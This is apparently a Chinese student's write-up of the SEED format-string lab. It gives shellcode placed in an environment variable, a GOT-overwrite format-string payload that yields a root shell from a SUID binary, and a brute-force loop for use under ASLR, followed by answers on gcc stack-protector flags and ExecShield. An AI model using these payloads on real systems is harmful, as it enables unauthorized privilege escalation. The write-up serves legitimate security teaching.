漏洞挖掘——实验5 Format String Vulnerability Lab (2)

漏洞挖掘前言

题目

Lab

Format String Vulnerability Lab (2)

pre

1、解释gcc参数-fno-stack-protector的含义,gcc的参数里面与stack overflow相关的还有哪些/p>

2、(一定要看)非常仔细地阅读Smashing The Stack For Fun And Profit. 
http://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html

3、阅读下面两篇文章的同时,熟悉一下gdb基本操作,看汇编设断点查看内存之类的基本操作了解一点。
http://seanmurphree.com/blog/=157

https://tomasuh.github.io/2015/01/19/IO-Wargame.html
Level 3部分

4、解释linux用root执行下面这条命令
sysctl -w kernel.exec-shield=1

的含义和用途。

 

解答

Lab

Format String Vulnerability Lab (2)

Source code:

 

利用root把上面这段代码编译并且suid,然后普通用户执行它,要求就是成功获得root shell。

可以参考formatstring-1.2.pdf。

 

1、关闭地址随机化的情况

总体思路:当程序执行时,如果我们将存放exit函数的地址中换为保存了我们的shellcode代码的环境变量EGG的地址,这就会使得程序在结束时,带着SUID权限运行我们的shellcode,从而使我们顺利进入root shell。我们可以使用objdump命令查看程序内部地址,使用export改变环境变量。

Step1:

切换为root用户,保存提供的含漏洞文件,编译为got文件,并赋予SUID权限。

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

 

Step2:

关闭地址随机化,并切换为seed用户。

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

Step3:

把shellcode放进环境变量EGG, export EGG=$(python -c “print ‘x90’*1000 + ‘x6ax17x58x31xdbxcdx80x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80′”)。

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

 

Step4:

#include

#include

int main(void)

{

printf(“Egg address: %p “,getenv(“EGG”));

}

上述代码保存为att.c文件,编译为att文件,和got文件名长度相同,并执行此文件。

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

可以看出EGG的地址为0xbffff295。

 

Step5:

使用objdump -R got查看exit函数的地址,准备将其替换。

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

 

Step6:

依据EGG地址,计算exit地址替换命令中的两个字符的数量。因为文件名长度相同,此处不用考虑偏移。只需要将0xbfff-8,因为攻击语句中,在其前面已经会有两个字节。

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

 

Step7:

查找printf参数在栈中的位置。

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

可以看出,参数从栈中的第11为开始。

 

Step8:

使用命令:./got $(printf “x0exa0x04x08x0cxa0x04x08”)%49143x%11$hn%12950x%12$hn

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

可以看出进入了root shell

 

2、打开地址随机化的情况

Step1:

使用命令sysctl -w kernel.randomize_va_space=2打开地址随机化。

编写如下begin.sh,来不断实施攻击:

#!/bin/bash

while true

do

./got $(printf “x0exa0x04x08x0cxa0x04x08”)%49143x%11$hn%12950x%12$hn

done

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

Step2:

几分钟后,显示攻击成功。

漏洞挖掘——实验5 Format String Vulnerability Lab (2)

 

本次实验至此结束

 

 

 

pre

1、解释gcc参数-fno-stack-protector的含义,gcc的参数里面与stack overflow相关的还有哪些/strong>

GCC中三个与堆栈保护有关的编译选项

-fstack-protector:

启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。

-fstack-protector-all:

启用堆栈保护,为所有函数插入保护代码。

-fno-stack-protector:

禁用堆栈保护。

所以,添加添加-fno-stack-protector可以关闭检测“栈溢出”的机制

 

2、非常仔细地阅读Smashing The Stack For Fun And Profit.

文章着重介绍了进程的三部分之一:堆栈的被攻击的方式。解释了缓冲区溢出是什么,以及如何它们的漏洞进行攻击。由于C没有任何内置边界检查,溢出通常表现为写入字符数组的末尾。标准C库提供了许多用于复制或附加字符串的函数,这些函数不执行边界检查,包括:strcat(),strcpy(),sprintf()和vsprintf()。缓冲区溢出允许我们更改函数的返回地址。通过这种方式,我们可以改变程序的执行流程。

在大多数情况下,我们希望程序进入一个rootshell。然后,我们可以根据需要发出其他命令。在我们试图利用的程序中没有这样的代码时,我们可以将代码置于溢出的缓冲区中执行,并覆盖返回地址,使其返回缓冲区。这也是我们在上面第一题中关闭检测“栈溢出”的机制的原因。

 

3、阅读下面两篇文章的同时,熟悉一下gdb基本操作,看汇编设断点查看内存之类的基本操作了解一点。

第一篇文章说的是C ++中的缓冲区/堆溢出。setAnnotation存在着一定的安全漏洞。此函数使用memcpy函数将从“a”指向的内存位置开始的字节写入以“annotation”开头的内存位置。它还使用字符串“a”的长度作为要写入的字节数。虽然strlen是用来提供许多字节复制的,但是它应该受到“annotation”长度的限制,而不仅仅是“a”。这就导致我们可以控制一个值,然后控制它的长度,我们可以溢出注释缓冲区,并导致对堆的更改。

第二篇文章Level 3部分展示了一个堆栈漏洞,使得可以将任意数量的数据写入输入缓冲区。将地址设为名为bad的函数,再使用名为good的函数的地址将其覆盖。

 

 

4、解释linux用root执行下面这条命令sysctl -w kernel.exec-shield=1的含义和用途。

攻击者可能会将恶意代码放置在栈上,并跳转到此恶意代码上。由于栈应该是存放数据而不是存放代码,所以我们可以将栈设置为不可执行,从而防止了恶意代码的执行。这个保护机制叫做 ExecShield。ExecShield 本质上禁止了储存在栈上的任意代码的执行。而sysctl -w kernel.exec-shield命令可以开启或者关闭ExecShield保护机制。

# sysctl -w kernel.exec-shield=1 // 开启 ExecShield

# sysctl -w kernel.exec-shield=0 // 关闭 ExecShield

 

 

 

 

 

 

来源:一半西瓜

声明:本站部分文章及图片转载于互联网,内容版权归原作者所有,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2019年3月14日
下一篇 2019年3月14日

相关推荐